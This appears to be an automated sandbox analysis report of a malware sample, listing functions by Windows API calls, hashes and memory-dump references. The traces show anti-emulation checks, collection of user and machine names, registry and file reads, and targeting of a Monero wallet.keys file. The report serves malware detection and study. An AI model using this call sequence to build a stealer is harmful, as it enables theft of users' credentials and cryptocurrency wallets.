Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 6b7349685c347fe53171952ac00ae5f1c324669acd483af374a9bebd8d23da1b
Instruction ID: b29a4656bfae457f6fe6e5d30ed2e596c8b188d826bf5d9ce34dade2fbc8448c
Opcode Fuzzy Hash: 6b7349685c347fe53171952ac00ae5f1c324669acd483af374a9bebd8d23da1b
Instruction Fuzzy Hash: B901F4B9A40308BBE710DBE4DC49FAEB7B8FB44705F104555FA05A7291D67455408F51

Function 00A169F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B2320), ref: 00A198A1
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B2500), ref: 00A198BA
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B2470), ref: 00A198D2
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B22A8), ref: 00A198EA
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B2248), ref: 00A19903
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B91F8), ref: 00A1991B
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010A5890), ref: 00A19933
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010A5850), ref: 00A1994C
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B2260), ref: 00A19964
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B2380), ref: 00A1997C
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B2440), ref: 00A19995
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B2488), ref: 00A199AD
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010A5A30), ref: 00A199C5
Part of subcall function 00A19860: GetProcAddress.KERNEL32(74DD0000,010B2218), ref: 00A199DE

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A011D0: ExitProcess.KERNEL32 ref: 00A01211

Part of subcall function 00A01160: GetSystemInfo.KERNEL32(?), ref: 00A0116A
Part of subcall function 00A01160: ExitProcess.KERNEL32 ref: 00A0117E

Part of subcall function 00A01110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00A0112B
Part of subcall function 00A01110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00A01132
Part of subcall function 00A01110: ExitProcess.KERNEL32 ref: 00A01143

Part of subcall function 00A01220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00A0123E
Part of subcall function 00A01220: ExitProcess.KERNEL32 ref: 00A01294

Part of subcall function 00A16770: GetUserDefaultLangID.KERNEL32 ref: 00A16774

Part of subcall function 00A01190: ExitProcess.KERNEL32 ref: 00A011C6

Part of subcall function 00A17850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00A011B7), ref: 00A17880
Part of subcall function 00A17850: RtlAllocateHeap.NTDLL(00000000), ref: 00A17887
Part of subcall function 00A17850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A1789F

Part of subcall function 00A178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A17910
Part of subcall function 00A178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00A17917
Part of subcall function 00A178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00A1792F

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,010B9208,?,00A2110C,?,00000000,?,00A21110,?,00000000,00A20AEF), ref: 00A16ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A16AE8
CloseHandle.KERNEL32(00000000), ref: 00A16AF9
Sleep.KERNEL32(00001770), ref: 00A16B04
CloseHandle.KERNEL32(?,00000000,?,010B9208,?,00A2110C,?,00000000,?,00A21110,?,00000000,00A20AEF), ref: 00A16B1A
ExitProcess.KERNEL32 ref: 00A16B22

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: b79f8694ebf5e406e0b698762e2ea08893d86343131f31bdb2c52a63932c591f
Instruction ID: cd0d13493f4a74381da81751153328c61300b33b684165fcfbc18dcfd42a07ea
Opcode Fuzzy Hash: b79f8694ebf5e406e0b698762e2ea08893d86343131f31bdb2c52a63932c591f
Instruction Fuzzy Hash: D3312B75A45208AADB04FBF0DE56BEE7738AF24350F004528F202A21D2DF706986C7A2

Function 00A099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A09A11
LocalAlloc.KERNEL32(00000040,?), ref: 00A09A31
ReadFile.KERNEL32(000000FF,?,00000000,00A0148F,00000000), ref: 00A09A5A
LocalFree.KERNEL32(00A0148F), ref: 00A09A90
CloseHandle.KERNEL32(000000FF), ref: 00A09A9A

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: e098ff1b260163b93b5930fd1c516aab499a6e330acd23b6aa355d2952a70d68
Instruction ID: 547732adb6d08341acf7ea6f6c3b885a2a9d22208987ca9c741de2c974648abf
Opcode Fuzzy Hash: e098ff1b260163b93b5930fd1c516aab499a6e330acd23b6aa355d2952a70d68
Instruction Fuzzy Hash: E0312A74A00209EFDB14CF94D985BEEB7B5FF49350F108158E901A72D0D774A942CFA1

Function 00A14780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,010BE518), ref: 00A147DB

Part of subcall function 00A18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A18E0B

lstrcat.KERNEL32(?,00000000), ref: 00A14801
lstrcat.KERNEL32(?,?), ref: 00A14820
lstrcat.KERNEL32(?,?), ref: 00A14834
lstrcat.KERNEL32(?,010AB928), ref: 00A14847
lstrcat.KERNEL32(?,?), ref: 00A1485B
lstrcat.KERNEL32(?,010BD960), ref: 00A1486F

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A18D90: GetFileAttributesA.KERNEL32(00000000,?,00A01B54,?,?,00A2564C,?,?,00A20E1F), ref: 00A18D9F

Part of subcall function 00A14570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00A14580
Part of subcall function 00A14570: RtlAllocateHeap.NTDLL(00000000), ref: 00A14587
Part of subcall function 00A14570: wsprintfA.USER32 ref: 00A145A6
Part of subcall function 00A14570: FindFirstFileA.KERNEL32(?,?), ref: 00A145BD

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 48668ec1c78a18d81453eff2e9ba2ee0b5361437622944318b6156804d3df65a
Instruction ID: b2a8fdfca922155d1516bd92c7b85fd2b8db736f237a77975305fb8c29a85ae4
Opcode Fuzzy Hash: 48668ec1c78a18d81453eff2e9ba2ee0b5361437622944318b6156804d3df65a
Instruction Fuzzy Hash: FE317FBAD40208A7DB10FBB0DD85FED737CBB58700F404589B31996081EE74A7C98B91

Function 00A140B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,010BD6A0,00000000,00020119,?), ref: 00A140F4
RegQueryValueExA.ADVAPI32(?,010BE620,00000000,00000000,00000000,000000FF), ref: 00A14118
RegCloseKey.ADVAPI32(?), ref: 00A14122
lstrcat.KERNEL32(?,00000000), ref: 00A14147
lstrcat.KERNEL32(?,010BE4B8), ref: 00A1415B

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 8492876943856f9ebe80a23374885ec84c66646c1f48237dd85cac4e9b948111
Instruction ID: 858041c81ebc7b7a73e089c7920b8d835af4325750744744880b978c6db9195d
Opcode Fuzzy Hash: 8492876943856f9ebe80a23374885ec84c66646c1f48237dd85cac4e9b948111
Instruction Fuzzy Hash: F241B8BBD40108ABDB24EBA0ED46FFE777DBB89300F004558B616571C1EA755B888BD2

Function 6C5DC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5DC969
GetSystemInfo.KERNEL32(?), ref: 6C5DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5DC9E2

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: ec550dadda410013529a30ee89d983287e65c35f44a5cad9f4b33a098be92ae0
Instruction ID: 99c4c5a79ea9f165a77f8a4dac837265f2c463877daa5fb4791794bb30ed1147
Opcode Fuzzy Hash: ec550dadda410013529a30ee89d983287e65c35f44a5cad9f4b33a098be92ae0
Instruction Fuzzy Hash: 33212F31741714ABDB04BB29CCC4BAE73B9AB87708F518519F90797780E7707C008799

Function 00A17E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A17E37
RtlAllocateHeap.NTDLL(00000000), ref: 00A17E3E
RegOpenKeyExA.KERNEL32(80000002,010AC518,00000000,00020119,?), ref: 00A17E5E
RegQueryValueExA.KERNEL32(?,010BD860,00000000,00000000,000000FF,000000FF), ref: 00A17E7F
RegCloseKey.ADVAPI32(?), ref: 00A17E92

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: b800d9c8155726f3b8df8df398c814114d317505a92b2bcc346c0cbfe9d7e196
Instruction ID: 04e377f799bbe18458d322061152ead8703c060f4c64b0123ca1209ee31c45aa
Opcode Fuzzy Hash: b800d9c8155726f3b8df8df398c814114d317505a92b2bcc346c0cbfe9d7e196
Instruction Fuzzy Hash: 4C115EB5A84205EBD710CF94DD4AFBFBBB8FB09B10F104159F605A72C0D77458008BA1

Function 00A012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A012B4
RtlAllocateHeap.NTDLL(00000000), ref: 00A012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00A012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00A012F5
RegCloseKey.ADVAPI32(?), ref: 00A012FF

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
